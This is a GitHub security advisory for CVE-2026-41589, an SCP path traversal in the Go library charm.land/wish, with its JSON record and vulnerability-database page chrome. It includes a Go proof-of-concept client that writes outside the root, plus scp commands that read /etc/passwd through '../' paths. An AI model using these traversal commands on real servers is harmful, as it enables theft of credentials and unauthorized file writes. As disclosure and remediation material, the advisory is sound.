GHSA-XJVP-7243-RG9H

Vulnerability from github – Published: 2026-04-18 01:09 – Updated: 2026-05-08 21:47
VLAI
Summary
Wish has SCP Path Traversal that allows arbitrary file read/write
Details

Summary

The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.

Affected Versions

  • charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
  • github.com/charmbracelet/wish — likely all v1 versions (same code pattern)

Details

Root Cause

The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

func (h *fileSystemHandler) prefixed(path string) string {
    path = filepath.Clean(path)
    if strings.HasPrefix(path, h.root) {
        return path
    }
    return filepath.Join(h.root, path)
}

When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.

Attack Vector 1: Arbitrary File Write (scp -t)

When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

reNewFile   = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)

The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.

Attack Vector 2: Arbitrary File Read (scp -f)

When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.

Attack Vector 3: File Enumeration via Glob

The Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.

Proof of Concept

All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.

Vulnerable Server

Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:

package main

import (
    "net"

    "charm.land/wish/v2"
    "charm.land/wish/v2/scp"
    "github.com/charmbracelet/ssh"
)

func main() {
    handler := scp.NewFileSystemHandler("/srv/data")
    s, _ := wish.NewServer(
        wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
        wish.WithMiddleware(scp.Middleware(handler, handler)),
        // Default: accepts all connections (no auth configured)
    )
    s.ListenAndServe()
}

Write Traversal — Write arbitrary files outside /srv/data

An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:

package main

import (
    "fmt"
    "os"

    gossh "golang.org/x/crypto/ssh"
)

func main() {
    config := &gossh.ClientConfig{
        User:            "attacker",
        Auth:            []gossh.AuthMethod{gossh.Password("anything")},
        HostKeyCallback: gossh.InsecureIgnoreHostKey(),
    }
    client, _ := gossh.Dial("tcp", "target:2222", config)
    session, _ := client.NewSession()

    // Pipe crafted SCP protocol data into stdin
    stdin, _ := session.StdinPipe()
    go func() {
        // Wait for server's NULL ack, then send traversal payload
        buf := make([]byte, 1)
        session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack

        // File header with traversal: writes to /tmp/pwned (escaping /srv/data)
        fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
        // Wait for ack
        stdin.Write([]byte("hello world\n"))
        stdin.Write([]byte{0}) // NULL terminator
        stdin.Close()
    }()

    // Tell the server we're uploading to "."
    session.Run("scp -t .")
}

Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.

Read Traversal — Read arbitrary files outside /srv/data

No custom tooling needed. Standard scp passes the path directly:

# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

The server resolves ../../../etc/passwd through prefixed(): 1. filepath.Clean("../../../etc/passwd") → "../../../etc/passwd" 2. Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd" 3. File contents of /etc/passwd are sent to the attacker.

Glob Traversal — Enumerate and read files outside /srv/data

scp -P 2222 attacker@target:'../../../etc/pass*' ./

Validated Test Output

These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

=== RUN   TestPathTraversalWrite
    PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite

=== RUN   TestPathTraversalWriteRecursiveDir
    PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
    PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir

=== RUN   TestPathTraversalRead
    PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead

=== RUN   TestPathTraversalGlob
    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob

Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

Impact

An authenticated SSH user can:

  • Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or systemd units.
  • Read arbitrary files accessible to the server process, including /etc/shadow, private keys, database credentials, and application secrets.
  • Create arbitrary directories on the filesystem.
  • Enumerate files outside the root via glob patterns.

If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.

Remediation

Fix prefixed() to enforce root containment

func (h *fileSystemHandler) prefixed(path string) (string, error) {
    // Force path to be relative by prepending /
    joined := filepath.Join(h.root, filepath.Clean("/"+path))
    // Verify the result is still within root
    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
        return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
    }
    return joined, nil
}

Sanitize filenames in copy_from_client.go

SCP filenames should never contain path separators or .. components:

name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
    return fmt.Errorf("invalid filename: %q", name)
}

Validate info.Path in GetInfo or at the middleware entry point

info.Path = filepath.Clean("/" + info.Path)

Credit

Evan MORVAN (evnsh) — me@evan.sh (Research) Claude Haiku (formatting the report)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "charm.land/wish/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/wish"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41589"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:09:46Z",
    "nvd_published_at": "2026-05-07T14:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol.\n\n## Affected Versions\n\n- `charm.land/wish/v2` \u2014 all versions through commit `72d67e6` (current `main`)\n- `github.com/charmbracelet/wish` \u2014 likely all v1 versions (same code pattern)\n\n## Details\n\n### Root Cause\n\nThe `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) string {\n    path = filepath.Clean(path)\n    if strings.HasPrefix(path, h.root) {\n        return path\n    }\n    return filepath.Join(h.root, path)\n}\n```\n\nWhen `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory.\n\n### Attack Vector 1: Arbitrary File Write (scp -t)\n\nWhen receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:\n\n```go\nreNewFile   = regexp.MustCompile(`^C(\\d{4}) (\\d+) (.*)$`)\nreNewFolder = regexp.MustCompile(`^D(\\d{4}) 0 (.*)$`)\n```\n\nThe captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` \u2014 allowing the attacker to write files and create directories anywhere on the filesystem.\n\n### Attack Vector 2: Arbitrary File Read (scp -f)\n\nWhen sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` \u2014 allowing the attacker to read any file accessible to the server process.\n\n### Attack Vector 3: File Enumeration via Glob\n\nThe `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root.\n\n## Proof of Concept\n\nAll three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs.\n\n### Vulnerable Server\n\nAny server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example:\n\n```go\npackage main\n\nimport (\n\t\"net\"\n\n\t\"charm.land/wish/v2\"\n\t\"charm.land/wish/v2/scp\"\n\t\"github.com/charmbracelet/ssh\"\n)\n\nfunc main() {\n\thandler := scp.NewFileSystemHandler(\"/srv/data\")\n\ts, _ := wish.NewServer(\n\t\twish.WithAddress(net.JoinHostPort(\"0.0.0.0\", \"2222\")),\n\t\twish.WithMiddleware(scp.Middleware(handler, handler)),\n\t\t// Default: accepts all connections (no auth configured)\n\t)\n\ts.ListenAndServe()\n}\n```\n\n### Write Traversal \u2014 Write arbitrary files outside /srv/data\n\nAn attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\tgossh \"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tconfig := \u0026gossh.ClientConfig{\n\t\tUser:            \"attacker\",\n\t\tAuth:            []gossh.AuthMethod{gossh.Password(\"anything\")},\n\t\tHostKeyCallback: gossh.InsecureIgnoreHostKey(),\n\t}\n\tclient, _ := gossh.Dial(\"tcp\", \"target:2222\", config)\n\tsession, _ := client.NewSession()\n\n\t// Pipe crafted SCP protocol data into stdin\n\tstdin, _ := session.StdinPipe()\n\tgo func() {\n\t\t// Wait for server\u0027s NULL ack, then send traversal payload\n\t\tbuf := make([]byte, 1)\n\t\tsession.Stdout.(interface{ Read([]byte) (int, error) }) // read ack\n\n\t\t// File header with traversal: writes to /tmp/pwned (escaping /srv/data)\n\t\tfmt.Fprintf(stdin, \"C0644 12 ../../../tmp/pwned\\n\")\n\t\t// Wait for ack\n\t\tstdin.Write([]byte(\"hello world\\n\"))\n\t\tstdin.Write([]byte{0}) // NULL terminator\n\t\tstdin.Close()\n\t}()\n\n\t// Tell the server we\u0027re uploading to \".\"\n\tsession.Run(\"scp -t .\")\n}\n```\n\nOr equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename.\n\n### Read Traversal \u2014 Read arbitrary files outside /srv/data\n\nNo custom tooling needed. Standard `scp` passes the path directly:\n\n```bash\n# Read /etc/passwd from a server whose SCP root is /srv/data\nscp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd\n```\n\nThe server resolves `../../../etc/passwd` through `prefixed()`:\n1. `filepath.Clean(\"../../../etc/passwd\")` \u2192 `\"../../../etc/passwd\"`\n2. Not prefixed with `/srv/data`, so: `filepath.Join(\"/srv/data\", \"../../../etc/passwd\")` \u2192 `\"/etc/passwd\"`\n3. File contents of `/etc/passwd` are sent to the attacker.\n\n### Glob Traversal \u2014 Enumerate and read files outside /srv/data\n\n```bash\nscp -P 2222 attacker@target:\u0027../../../etc/pass*\u0027 ./\n```\n\n### Validated Test Output\n\nThese were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling \"secret\" directory, then verified files were read/written across the boundary:\n\n```\n=== RUN   TestPathTraversalWrite\n    PATH TRAVERSAL CONFIRMED: file written to \".../secret/pwned\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWrite\n\n=== RUN   TestPathTraversalWriteRecursiveDir\n    PATH TRAVERSAL CONFIRMED: directory created at \".../evil_dir\" (outside root \".../scproot\")\n    PATH TRAVERSAL CONFIRMED: file written to \".../evil_dir/payload\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWriteRecursiveDir\n\n=== RUN   TestPathTraversalRead\n    PATH TRAVERSAL CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalRead\n\n=== RUN   TestPathTraversalGlob\n    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalGlob\n```\n\nTests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations \u2014 confirming the vulnerability is exploitable end-to-end.\n\n## Impact\n\nAn authenticated SSH user can:\n\n- **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units.\n- **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets.\n- **Create arbitrary directories** on the filesystem.\n- **Enumerate files** outside the root via glob patterns.\n\nIf the server uses the default authentication configuration (which accepts all connections \u2014 see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers.\n\n## Remediation\n\n### Fix `prefixed()` to enforce root containment\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) (string, error) {\n    // Force path to be relative by prepending /\n    joined := filepath.Join(h.root, filepath.Clean(\"/\"+path))\n    // Verify the result is still within root\n    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) \u0026\u0026 joined != h.root {\n        return \"\", fmt.Errorf(\"path traversal detected: %q resolves outside root\", path)\n    }\n    return joined, nil\n}\n```\n\n### Sanitize filenames in `copy_from_client.go`\n\nSCP filenames should never contain path separators or `..` components:\n\n```go\nname := match[3] // or matches[0][2] for directories\nif strings.ContainsAny(name, \"/\\\\\") || name == \"..\" || name == \".\" {\n    return fmt.Errorf(\"invalid filename: %q\", name)\n}\n```\n\n### Validate `info.Path` in `GetInfo` or at the middleware entry point\n\n```go\ninfo.Path = filepath.Clean(\"/\" + info.Path)\n```\n\n## Credit\n\nEvan MORVAN (evnsh) \u2014 me@evan.sh (Research)\nClaude Haiku (formatting the report)",
  "id": "GHSA-xjvp-7243-rg9h",
  "modified": "2026-05-08T21:47:01Z",
  "published": "2026-04-18T01:09:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41589"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/wish"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/wish/releases/tag/v2.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wish has SCP Path Traversal that allows arbitrary file read/write"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…